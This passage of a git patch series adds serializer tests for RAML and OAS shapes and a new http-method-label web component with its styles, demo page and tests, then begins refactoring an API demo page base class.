+      const expects = loader.lookupExpects(api, '/xml', 'post');
+      const payload = loader._computePayload(expects)[0];
+      const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = /** @type ApiSchemaShape */ (serializer.unknownShape(shape));
+      assert.equal(result.mediaType, 'application/xml', 'has media type');
+      assert.typeOf(result.raw, 'string', 'has raw');
+      assert.typeOf(result.examples, 'array', 'has examples');
+
+      // serializer recognizes that the this example is referenced to a payload and not to a type.
+      assert.lengthOf(result.examples, 0, 'has no examples');
+    });
+
+    it('resolves links', () => {
+      // takes any operation that has a link-target in the shape
+      const expects = loader.lookupExpects(api, '/files/{fileId}/comments', 'post');
+      const payload = loader._computePayload(expects)[0];
+      const shape = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      assert.equal(result.linkLabel, 'CommentWritable', 'has linkLabel');
+      assert.typeOf(result.examples, 'array', 'has examples');
+
+      // serializer recognizes that the this example is referenced to a payload and not to a type.
+      assert.lengthOf(result.examples, 0, 'has single examples');
+    });
+  });
+
+  describe('OAS shapes', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'petstore');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('processes the oneOf shape (xone)', () => {
+      const expects = loader.lookupExpects(api, '/unions', 'patch');
+      const payload = serializer._computePayload(expects)[0];
+      const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = serializer.unknownShape(schema);
+      // Not sure why is this "any" shape.
+      assert.include(result.types, serializer.ns.aml.vocabularies.shapes.AnyShape, 'has the AnyShape type');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.lengthOf(result.xone, 2, 'has the xone array');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes the allOf shape (and)', () => {
+      const expects = loader.lookupExpects(api, '/unions', 'post');
+      const payload = serializer._computePayload(expects)[0];
+      const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = serializer.unknownShape(schema);
+      assert.include(result.types, serializer.ns.w3.shacl.NodeShape, 'has the NodeShape type');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.lengthOf(result.and, 2, 'has the and array');
+    });
+
+    it('processes the anyOf shape (or)', () => {
+      const returns = loader.lookupReturns(api, '/pet/listCommon', 'get');
+      const payload = serializer._computePayload(returns[0])[0];
+      const schema = payload[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0];
+      const result = /** @type ApiArrayShape */ (serializer.unknownShape(schema));
+      const type = result.items;
+      // Not sure why is this "any" shape.
+      assert.include(type.types, serializer.ns.aml.vocabularies.shapes.AnyShape, 'has the AnyShape type');
+      assert.deepEqual(type.and, [], 'has empty and');
+      assert.deepEqual(type.xone, [], 'has empty xone');
+      assert.deepEqual(type.values, [], 'has empty values');
+      assert.lengthOf(type.or, 3, 'has the or array');
+    });
+
+    it('reads the discriminator value', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Pet');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      assert.equal(result.discriminator, 'petType')
+    });
+
+    it('reads the xmlSerialization value', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Pet');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      assert.typeOf(result.xmlSerialization, 'object', 'has the xmlSerialization');
+      const xml = result.xmlSerialization;
+      assert.include(xml.types, serializer.ns.aml.vocabularies.shapes.XMLSerializer, 'has the XMLSerializer type');
+      assert.deepEqual(xml.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.isFalse(xml.attribute, 'has the attribute');
+      assert.isFalse(xml.wrapped, 'has the wrapped');
+      assert.equal(xml.name, 'pet', 'has the name');
+    });
+
+    it('reads the customDomainProperties value', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Pet');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      assert.lengthOf(result.customDomainProperties, 1, 'has the customDomainProperties');
+      const [cdp] = result.customDomainProperties;
+      assert.equal(cdp.name, 'swagger-router-model', 'has the name');
+      const typed = /** @type ApiScalarNode */ (cdp.extension);
+      assert.include(typed.types, serializer.ns.aml.vocabularies.data.Scalar, 'has the Scalar type');
+      assert.deepEqual(typed.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.equal(typed.dataType, serializer.ns.w3.xmlSchema.string, 'has the dataType');
+      assert.equal(typed.value, 'io.swagger.petstore.model.Pet', 'has the value');
+    });
+  });
+});
diff --git a/test/serializer/SourceMaps.test.js b/test/serializer/SourceMaps.test.js
new file mode 100644
index 0000000..4383e3c
--- /dev/null
+++ b/test/serializer/SourceMaps.test.js
@@ -0,0 +1,55 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiNodeShape} ApiNodeShape */
+
+describe('Source maps', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  // const xmlMime = 'application/xml';
+
+  [true, false].forEach(compact => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(compact, 'amf-helper-api');
+      serializer = new AmfSerializer(api);
+    });
+
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      it('adds parsedJsonSchema', () => {
+        const shape = loader.lookupRequestPayload(api, '/json', 'post', jsonMime);
+        let schema = shape[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)];
+        if (Array.isArray(schema)) {
+          [schema] = schema;
+        }
+        const result = serializer.unknownShape(schema);
+
+        const { parsedJsonSchema } = result.sourceMaps;
+        assert.typeOf(parsedJsonSchema, 'object', 'has parsedJsonSchema');
+        assert.typeOf(parsedJsonSchema.id, 'string', 'has the id');
+        assert.typeOf(parsedJsonSchema.element, 'string', 'has the element');
+        assert.typeOf(parsedJsonSchema.value, 'string', 'has the value');
+      });
+
+      it('adds autoGeneratedName', () => {
+        const shape = loader.lookupRequestPayload(api, '/json', 'post', jsonMime);
+        let schema = shape[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)];
+        if (Array.isArray(schema)) {
+          [schema] = schema;
+        }
+        const result = serializer.unknownShape(schema);
+
+        const { autoGeneratedName } = result.sourceMaps;
+        assert.typeOf(autoGeneratedName, 'array', 'has autoGeneratedName array');
+
+        const [item] = autoGeneratedName;
+        assert.typeOf(item.id, 'string', 'has the id');
+        assert.typeOf(item.element, 'string', 'has the element');
+        assert.typeOf(item.value, 'string', 'has the value');
+      });
+    });
+  })
+});
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index ef6aee8..7b153e8 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,5 +1,6 @@
 export default {
   files: 'test/**/*.test.js',
+  // files: 'test/serializer/*.test.js',
   // files: 'test/elements/ApiServerSelectorElement.test.js',
   // files: 'test/authorization/CustomMethod.test.js',
   nodeResolve: true,

From 9f0ce0c4d667952f3d9f85c9d62e0b0960c8f2bc Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 9 Oct 2021 17:01:58 -0700
Subject: [PATCH 03/36] chore: moving the http-method-label element

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/http-label.html                         |  68 +++++++
 demo/index.html                              |   2 +
 http-method-label.d.ts                       |   7 +
 http-method-label.js                         |   3 +
 index.d.ts                                   |   2 +
 index.js                                     |   2 +
 src/elements/HttpMethodLabelElement.d.ts     |  43 +++++
 src/elements/HttpMethodLabelElement.js       | 154 ++++++++++++++++
 src/elements/styles/HttpLabel.js             | 184 +++++++++++++++++++
 test/elements/HttpMethodLabelElement.test.js | 140 ++++++++++++++
 10 files changed, 605 insertions(+)
 create mode 100644 demo/http-label.html
 create mode 100644 http-method-label.d.ts
 create mode 100644 http-method-label.js
 create mode 100644 src/elements/HttpMethodLabelElement.d.ts
 create mode 100644 src/elements/HttpMethodLabelElement.js
 create mode 100644 src/elements/styles/HttpLabel.js
 create mode 100644 test/elements/HttpMethodLabelElement.test.js

diff --git a/demo/http-label.html b/demo/http-label.html
new file mode 100644
index 0000000..a6c2cbf
--- /dev/null
+++ b/demo/http-label.html
@@ -0,0 +1,68 @@
+<!doctype html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
+  <meta name="viewport" content="width=device-width, minimum-scale=1.0, initial-scale=1, user-scalable=yes">
+  <title>http-method-label demo</title>
+  <style>
+  html {
+    --http-method-label-options-background-color: #ff9c9c1f;
+    --http-method-label-options-color: #ff9c9c;
+    --http-method-label-head-background-color: rgba(0, 150, 136, 0.12);
+    --http-method-label-head-color: rgba(0, 150, 136, 1);
+    --http-method-label-trace-background-color: rgba(76, 175, 80, 0.12);
+    --http-method-label-trace-color: #4CAF50;
+  }
+  .vertical-section-container {
+    max-width: 600px;
+  }
+  </style>
+
+  <script type="module">
+  import '../http-method-label.js';
+  import '@advanced-rest-client/arc-demo-helper/arc-demo-helper.js';
+  </script>
+</head>
+<body unresolved>
+  <div class="vertical-section-container centered">
+    <h3>The `http-method-label`</h3>
+    <arc-demo-helper>
+      <template>
+        <http-method-label method="get"></http-method-label>
+        <http-method-label method="POST"></http-method-label>
+        <http-method-label method="Put"></http-method-label>
+        <http-method-label method="delete"></http-method-label>
+        <http-method-label method="patch"></http-method-label>
+        <http-method-label method="options"></http-method-label>
+        <http-method-label method="head"></http-method-label>
+        <http-method-label method="trace"></http-method-label>
+        <http-method-label method="connect"></http-method-label>
+        <http-method-label method="publish"></http-method-label>
+        <http-method-label method="subscribe"></http-method-label>
+        <style>
+          http-method-label { margin-right: 12px; }
+        </style>
+      </template>
+    </arc-demo-helper>
+
+    <h3>Custom styling</h3>
+    <arc-demo-helper>
+      <template>
+        <http-method-label method="warning"></http-method-label>
+        <http-method-label method="danger"></http-method-label>
+        <style>
+        http-method-label[method="warning"] {
+          color: white;
+          background-color: orange;
+        }
+        http-method-label[method="danger"] {
+          color: white;
+          background-color: red;
+        }
+        </style>
+      </template>
+    </arc-demo-helper>
+  </div>
+</body>
+</html>
diff --git a/demo/index.html b/demo/index.html
index 0ab22c3..1c39a16 100644
--- a/demo/index.html
+++ b/demo/index.html
@@ -37,6 +37,8 @@ <h2>Documentation viewers</h2>
         <dd>A start page with API general info</dd>
         <dt><a href="server-selector.html">Api server selector</a></dt>
         <dd>An element to render a list of API servers</dd>
+        <dt><a href="http-label.html">HTTP operation label</a></dt>
+        <dd>An element to render a pill with HTTP operation name</dd>
       </dl>
       <h2>Request editor</h2>
       <dl>
diff --git a/http-method-label.d.ts b/http-method-label.d.ts
new file mode 100644
index 0000000..8e13bcc
--- /dev/null
+++ b/http-method-label.d.ts
@@ -0,0 +1,7 @@
+import Element from './src/elements/HttpMethodLabelElement.js';
+
+declare global {
+  interface HTMLElementTagNameMap {
+    "http-method-label": Element;
+  }
+}
diff --git a/http-method-label.js b/http-method-label.js
new file mode 100644
index 0000000..f151c1f
--- /dev/null
+++ b/http-method-label.js
@@ -0,0 +1,3 @@
+import Element from './src/elements/HttpMethodLabelElement.js';
+
+window.customElements.define('http-method-label', Element);
diff --git a/index.d.ts b/index.d.ts
index 0797402..1eb2b9a 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -16,6 +16,7 @@ export { default as ApiRequestEditorElement } from './src/elements/ApiRequestEdi
 export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuthorizationEditorElement';
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement';
+export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement';
 export * from './src/events/EventTypes';
 export * from './src/events/RequestEvents';
 export * as InputCache from './src/lib/InputCache';
@@ -27,3 +28,4 @@ export { AmfSerializer } from './src/helpers/AmfSerializer';
 export { ns } from './src/helpers/Namespace';
 export * as Amf from './src/helpers/amf';
 export * as Api from './src/helpers/api';
+export * as HttpStyles from './src/elements/styles/HttpLabel';
diff --git a/index.js b/index.js
index 4ab5b72..efdf298 100644
--- a/index.js
+++ b/index.js
@@ -16,6 +16,7 @@ export { default as ApiRequestEditorElement } from './src/elements/ApiRequestEdi
 export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuthorizationEditorElement.js';
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement.js';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement.js';
+export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement.js';
 export * from './src/events/EventTypes.js';
 export * from './src/events/RequestEvents.js';
 export * as InputCache from './src/lib/InputCache.js';
@@ -24,3 +25,4 @@ export * as Utils from './src/lib/Utils.js';
 export { AmfHelperMixin } from './src/helpers/AmfHelperMixin.js';
 export { AmfSerializer } from './src/helpers/AmfSerializer.js';
 export { ns } from './src/helpers/Namespace.js';
+export * as HttpStyles from './src/elements/styles/HttpLabel.js';
diff --git a/src/elements/HttpMethodLabelElement.d.ts b/src/elements/HttpMethodLabelElement.d.ts
new file mode 100644
index 0000000..c0105f4
--- /dev/null
+++ b/src/elements/HttpMethodLabelElement.d.ts
@@ -0,0 +1,43 @@
+import {LitElement, TemplateResult} from 'lit-element';
+
+export const updateAccessibility: unique symbol;
+
+/**
+ * The element displays a label for the HTTP method. If the method is one of the
+ * predefined methods then it will use predefined colors to mark the method.
+ *
+ * ### Example
+ *
+ * ```html
+ * <http-method-label method="GET"></http-method-label>
+ * ```
+ *
+ * If the method is not one of the predefined methods it can be styled using regular
+ * css.
+ *
+ * ```html
+ * <style>
+ * http-method-label[method="test"] {
+ *    color: white;
+ *    background-color: orange;
+ * }
+ * </style>
+ * <http-method-label method="TEST"></http-method-label>
+ * ```
+ */
+export default class HttpMethodLabelElement extends LitElement {
+  /**
+   * HTTP method name to display
+   * @attribute
+   */
+  method: string|undefined;
+  constructor();
+  render(): TemplateResult;
+
+  /**
+   * Updates "title" and `aria-label` attributes when method changes.
+   *
+   * @param method Current method
+   */
+  [updateAccessibility](method: string): void;
+}
diff --git a/src/elements/HttpMethodLabelElement.js b/src/elements/HttpMethodLabelElement.js
new file mode 100644
index 0000000..82329d5
--- /dev/null
+++ b/src/elements/HttpMethodLabelElement.js
@@ -0,0 +1,154 @@
+/**
+@license
+Copyright 2016 The Advanced REST client authors <arc@mulesoft.com>
+Licensed under the Apache License, Version 2.0 (the "License"); you may not
+use this file except in compliance with the License. You may obtain a copy of
+the License at
+http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+License for the specific language governing permissions and limitations under
+the License.
+*/
+import { LitElement, html, css } from 'lit-element';
+import {
+  hostDefaultStyles,
+  labelCommon,
+  labelGet,
+  labelPost,
+  labelPut,
+  labelDelete,
+  labelPatch,
+  labelOptions,
+  labelHead,
+  labelTrace,
+  labelConnect,
+  labelSubscribe,
+  labelPublish,
+} from './styles/HttpLabel.js';
+
+/* eslint-disable max-len */
+/* eslint-disable class-methods-use-this */
+
+export const updateAccessibility = Symbol('updateAccessibility');
+
+/**
+ * The element displays a label for the HTTP method. If the method is one of the
+ * predefined methods then it will use predefined colors to mark the method.
+ *
+ * ### Example
+ *
+ * ```html
+ * <http-method-label method="GET"></http-method-label>
+ * ```
+ *
+ * If the method is not one of the predefined methods it can be styled using regular
+ * css.
+ *
+ * ```html
+ * <style>
+ * http-method-label[method="test"] {
+ *    color: white;
+ *    background-color: orange;
+ * }
+ * </style>
+ * <http-method-label method="TEST"></http-method-label>
+ * ```
+ */
+export default class HttpMethodLabelElement extends LitElement {
+  get styles() {
+    return css`
+      :host {
+        ${hostDefaultStyles}
+        ${labelCommon}
+      }
+
+      :host([method='get']) {
+        ${labelGet}
+      }
+
+      :host([method='post']) {
+        ${labelPost}
+      }
+
+      :host([method='put']) {
+        ${labelPut}
+      }
+
+      :host([method='delete']) {
+        ${labelDelete}
+      }
+
+      :host([method='patch']) {
+        ${labelPatch}
+      }
+
+      :host([method='options']) {
+        ${labelOptions}
+      }
+
+      :host([method='head']) {
+        ${labelHead}
+      }
+
+      :host([method='trace']) {
+        ${labelTrace}
+      }
+
+      :host([method='connect']) {
+        ${labelConnect}
+      }
+
+      :host([method='subscribe']) {
+        ${labelSubscribe}
+      }
+
+      :host([method='publish']) {
+        ${labelPublish}
+      }
+    `;
+  }
+
+  static get properties() {
+    return {
+      /**
+       * HTTP method name to render
+       */
+      method: { type: String, reflect: true },
+    };
+  }
+
+  set method(value) {
+    const old = this._method;
+    if (old === value) {
+      return;
+    }
+    this._method = value;
+    this.requestUpdate('method', old);
+    this[updateAccessibility](value);
+  }
+
+  get method() {
+    return this._method;
+  }
+
+  render() {
+    const { styles, method } = this;
+    return html`<style>${styles}</style>${method}`;
+  }
+
+  /**
+   * Updates "title" and `aria-label` attributes when method changes.
+   * @param {string} method Current method
+   */
+  [updateAccessibility](method) {
+    if (!method) {
+      this.removeAttribute('title');
+      this.removeAttribute('aria-label');
+    } else {
+      this.setAttribute('title', method);
+      this.setAttribute('aria-label', method);
+    }
+  }
+}
diff --git a/src/elements/styles/HttpLabel.js b/src/elements/styles/HttpLabel.js
new file mode 100644
index 0000000..6a45d89
--- /dev/null
+++ b/src/elements/styles/HttpLabel.js
@@ -0,0 +1,184 @@
+import { css } from 'lit-element';
+
+export const hostDefaultStyles = css`
+  --method-label-default-background-color: rgba(128, 128, 128, 0.12);
+  --method-label-default-color: rgb(128, 128, 128);
+`;
+
+export const labelCommon = css`
+  display: inline-block;
+  margin: var(--http-method-label-margin, 0px 8px 8px 0px);
+  padding: var(--http-method-label-padding, 2px 6px);
+  background-color: var(
+    --http-method-label-background-color,
+    var(--method-label-default-background-color)
+  );
+  color: var(--http-method-label-color, var(--method-label-default-color));
+  text-transform: uppercase;
+  border-radius: var(--http-method-label-border-radius, 3px);
+  font-weight: var(--http-method-label-font-weigth, 400);
+  font: inherit;
+  font-size: var(--http-method-label-font-size, inherit);
+  min-width: var(--http-method-label-min-width, inherit);
+  text-align: var(--http-method-label-text-align, inherit);
+`;
+
+export const labelGet = css`
+  background-color: var(
+    --http-method-label-get-background-color,
+    rgba(0, 128, 0, 0.12)
+  );
+  color: var(--http-method-label-get-color, rgb(0, 128, 0));
+`;
+
+export const labelPost = css`
+  background-color: var(
+    --http-method-label-post-background-color,
+    rgba(33, 150, 243, 0.12)
+  );
+  color: var(--http-method-label-post-color, rgb(33, 150, 243));
+`;
+
+export const labelPut = css`
+  background-color: var(
+    --http-method-label-put-background-color,
+    rgba(255, 165, 0, 0.12)
+  );
+  color: var(--http-method-label-put-color, rgb(255, 165, 0));
+`;
+
+export const labelDelete = css`
+  background-color: var(
+    --http-method-label-delete-background-color,
+    rgba(244, 67, 54, 0.12)
+  );
+  color: var(--http-method-label-delete-color, rgb(244, 67, 54));
+`;
+
+export const labelPatch = css`
+  background-color: var(
+    --http-method-label-patch-background-color,
+    rgba(156, 39, 176, 0.12)
+  );
+  color: var(--http-method-label-patch-color, rgb(156, 39, 176));
+`;
+
+export const labelOptions = css`
+  background-color: var(
+    --http-method-label-options-background-color,
+    var(--method-label-default-background-color)
+  );
+  color: var(
+    --http-method-label-options-color,
+    var(--method-label-default-color)
+  );
+`;
+
+export const labelHead = css`
+  background-color: var(
+    --http-method-label-head-background-color,
+    var(--method-label-default-background-color)
+  );
+  color: var(--http-method-label-head-color, var(--method-label-default-color));
+`;
+
+export const labelTrace = css`
+  background-color: var(
+    --http-method-label-trace-background-color,
+    var(--method-label-default-background-color)
+  );
+  color: var(
+    --http-method-label-trace-color,
+    var(--method-label-default-color)
+  );
+`;
+
+export const labelConnect = css`
+  background-color: var(
+    --http-method-label-connect-background-color,
+    var(--method-label-default-background-color)
+  );
+  color: var(
+    --http-method-label-connect-color,
+    var(--method-label-default-color)
+  );
+`;
+
+export const labelPublish = css`
+  background-color: var(
+    --http-method-label-publish-background-color,
+    rgba(31, 157, 85, 0.12)
+  );
+  color: var(--http-method-label-publish-color, #1f9d55);
+`;
+
+export const labelSubscribe = css`
+  background-color: var(
+    --http-method-label-subscribe-background-color,
+    rgba(52, 144, 220, 0.12)
+  );
+  color: var(--http-method-label-subscribe-color, #3490dc);
+`;
+
+export default css`
+  :host {
+    ${hostDefaultStyles}
+  }
+
+  .method-label {
+    ${labelCommon}
+  }
+
+  .method-label[data-method='get'],
+  .method-label[data-method='GET'] {
+    ${labelGet}
+  }
+
+  .method-label[data-method='post'],
+  .method-label[data-method='POST'] {
+    ${labelPost}
+  }
+
+  .method-label[data-method='put'],
+  .method-label[data-method='PUT'] {
+    ${labelPut}
+  }
+
+  .method-label[data-method='delete'],
+  .method-label[data-method='DELETE'] {
+    ${labelDelete}
+  }
+
+  .method-label[data-method='patch'],
+  .method-label[data-method='PATCH'] {
+    ${labelPatch}
+  }
+
+  .method-label[data-method='options'],
+  .method-label[data-method='OPTIONS'] {
+    ${labelOptions}
+  }
+
+  .method-label[data-method='head'],
+  .method-label[data-method='HEAD'] {
+    ${labelHead}
+  }
+
+  .method-label[data-method='trace'],
+  .method-label[data-method='TRACE'] {
+    ${labelTrace}
+  }
+
+  .method-label[data-method='connect'],
+  .method-label[data-method='CONNECT'] {
+    ${labelConnect}
+  }
+
+  .method-label[data-method='publish'] {
+    ${labelPublish}
+  }
+
+  .method-label[data-method='subscribe'] {
+    ${labelSubscribe}
+  }
+`;
diff --git a/test/elements/HttpMethodLabelElement.test.js b/test/elements/HttpMethodLabelElement.test.js
new file mode 100644
index 0000000..66921a0
--- /dev/null
+++ b/test/elements/HttpMethodLabelElement.test.js
@@ -0,0 +1,140 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import '../../http-method-label.js';
+import { updateAccessibility } from '../../src/elements/HttpMethodLabelElement.js';
+
+/* eslint-disable no-plusplus */
+
+/** @typedef {import('../../').HttpMethodLabelElement} HttpMethodLabelElement */
+
+describe('HttpMethodLabelElement', () => {
+  /**
+   * @returns {Promise<HttpMethodLabelElement>}
+   */
+  async function getFixture() {
+    return fixture(html`<http-method-label method="get"></http-method-label>`);
+  }
+
+  /**
+   * @returns {Promise<Element>}
+   */
+  async function multiFixture() {
+    return fixture(html`<http-method-label method="get"></http-method-label>
+    <http-method-label method="POST"></http-method-label>
+    <http-method-label method="Put"></http-method-label>
+    <http-method-label method="delete"></http-method-label>
+    <http-method-label method="patch"></http-method-label>
+    <http-method-label method="test"></http-method-label>`);
+  }
+
+  function listTargets(first) {
+    const elements = [first];
+    let target = first;
+    const val = true;
+    while (val) {
+      const next = target && target.nextElementSibling;
+      if (next) {
+        elements.push(next);
+        target = next;
+      } else {
+        break;
+      }
+    }
+    return elements;
+  }
+
+  it('Has unique colors', async () => {
+    const first = await multiFixture();
+    const elements = listTargets(first);
+    const colors = [];
+    for (let i = 0, len = elements.length; i < len; i++) {
+      colors.push(getComputedStyle(elements[i]).color);
+    }
+    const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
+    assert.equal(elements.length, filteredArray.length);
+  });
+
+  it('Has unique background colors', async () => {
+    const first = await multiFixture();
+    const elements = listTargets(first);
+    const colors = [];
+    for (let i = 0, len = elements.length; i < len; i++) {
+      colors.push(getComputedStyle(elements[i]).backgroundColor);
+    }
+    const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
+    assert.equal(elements.length, filteredArray.length);
+  });
+
+  it('Sets title attribute on label change', async () => {
+    const element = await getFixture();
+    assert.isTrue(element.hasAttribute('title'), 'Has title attribute');
+    assert.equal(element.getAttribute('title'), 'get');
+  });
+
+  it('Removes title attribute', async () => {
+    const element = await getFixture();
+    element.method = undefined;
+    assert.isFalse(element.hasAttribute('title'));
+  });
+
+  it('Sets arial-label attribute on label change', async () => {
+    const element = await getFixture();
+    assert.isTrue(
+      element.hasAttribute('aria-label'),
+      'Has arial-label attribute'
+    );
+    assert.equal(element.getAttribute('aria-label'), 'get');
+  });
+
+  it('Removes arial-label attribute', async () => {
+    const element = await getFixture();
+    element.method = undefined;
+    assert.isFalse(element.hasAttribute('aria-label'));
+  });
+
+  it('updates rendered label when method change', async () => {
+    const element = await getFixture();
+    element.method = 'post';
+    await nextFrame();
+    await nextFrame();
+    assert.include(element.shadowRoot.innerHTML.trim(), '</style>post');
+  });
+
+  it('ignores update when method value is the same', async () => {
+    const element = await getFixture();
+    const spy = sinon.spy(element, updateAccessibility);
+    element.method = 'get';
+    assert.isFalse(spy.called);
+  });
+
+  it('can be initialized manually', () => {
+    const element = document.createElement('http-method-label');
+    element.method = 'get';
+  });
+
+  describe('AsyncAPI methods', () => {
+    it('Has unique colors', async () => {
+      const first = await fixture(`<http-method-label method="publish"></http-method-label>
+      <http-method-label method="SUBSCRIBE"></http-method-label>`);
+      const elements = listTargets(first);
+      const colors = [];
+      for (let i = 0, len = elements.length; i < len; i++) {
+        colors.push(getComputedStyle(elements[i]).color);
+      }
+      const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
+      assert.equal(elements.length, filteredArray.length);
+    });
+
+    it('Has unique background colors', async () => {
+      const first = await fixture(`<http-method-label method="publish"></http-method-label>
+      <http-method-label method="SUBSCRIBE"></http-method-label>`);
+      const elements = listTargets(first);
+      const colors = [];
+      for (let i = 0, len = elements.length; i < len; i++) {
+        colors.push(getComputedStyle(elements[i]).backgroundColor);
+      }
+      const filteredArray = elements.filter((item, pos) => elements.indexOf(item) === pos);
+      assert.equal(elements.length, filteredArray.length);
+    });
+  })
+});

From e520a3afcfef3f78c30713b43cbf5b0d74251ba0 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 9 Oct 2021 17:32:51 -0700
Subject: [PATCH 04/36] chore: moving API demo page

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/lib/AmfDemoBase.js                       |  187 ++-
 demo/lib/ApiStyles.js                         |   63 +
 package-lock.json                             | 1287 ++++++++++++-----
 package.json                                  |   14 +-
 .../ApiDocumentationDocumentElement.js        |    4 +-
 src/elements/ApiOperationDocumentElement.js   |    4 +-
 src/elements/ApiSummaryElement.js             |    4 +-
 7 files changed, 1174 insertions(+), 389 deletions(-)
 create mode 100644 demo/lib/ApiStyles.js

diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index cc93681..e6b0e69 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -1,17 +1,81 @@
-import { ApiDemoPage } from '@advanced-rest-client/arc-demo-helper';
-import { MonacoLoader } from '@advanced-rest-client/monaco-support';
+import { html } from 'lit-html';
+import { DemoPage } from "@advanced-rest-client/arc-demo-helper";
+import { MonacoLoader } from "@advanced-rest-client/monaco-support";
+import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
 import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
+import '@api-components/api-navigation/api-navigation.js';
+import { DomEventsAmfStore } from "../../src/store/DomEventsAmfStore.js";
+import { AmfHelperMixin } from "../../src/helpers/AmfHelperMixin.js";
+import './ApiStyles.js';
+
+/** @typedef {import('lit-html').TemplateResult} TemplateResult */
+/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+
+/**
+ * Base class for API components demo page.
+ * It creates a skeleton for an API demo page.
+ */
+export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
+  get amf() {
+    return super.amf;
+  }
+
+  set amf(value) {
+    super.amf = value;
+    this.render();
+  }
 
-export class AmfDemoBase extends ApiDemoPage {
   constructor() {
     super();
-    this.initObservableProperties([
-      'initialized', 'loaded',
-    ]);
+    this.initObservableProperties(["initialized", "loaded"]);
     this.loaded = false;
     this.initialized = false;
     this.renderViewControls = true;
+    /**
+     * When set the endpoint section in navigation is opened by default.
+     * @type {boolean}
+     * @default false
+     */
+    this.endpointsOpened = true;
+
+    /**
+     * When set the documentation section in navigation is opened by default.
+     * @type {boolean}
+     * @default false
+     */
+    this.docsOpened = false;
+
+    /**
+     * When set the types section in navigation is opened by default.
+     * @type {boolean}
+     * @default false
+     */
+    this.typesOpened = false;
+
+    /**
+     * When set the security section in navigation is opened by default.
+     * @type {boolean}
+     * @default false
+     */
+    this.securityOpened = false;
+
+    /**
+     * AMF model read from the API model file downloaded after initialization.
+     * @type {any}
+     */
+    this.amf = null;
+
+    /**
+     * When set the API Navigation element won't be rendered.
+     * @type {Boolean}
+     * @default false
+     */
+    this.noApiNavigation = false;
+    this._navChanged = this._navChanged.bind(this);
+    window.addEventListener('api-navigation-selection-changed', this._navChanged);
+
+    document.body.classList.add('api');
     this.autoLoad();
   }
 
@@ -27,15 +91,122 @@ export class AmfDemoBase extends ApiDemoPage {
     await MonacoLoader.monacoReady();
   }
 
+  /**
+   * Sets default API selection when the view is rendered.
+   */
+  firstRender() {
+    const node = /** @type any */ (document.getElementById('apiList'));
+    if (!node) {
+      return;
+    }
+    node.selected = 0;
+  }
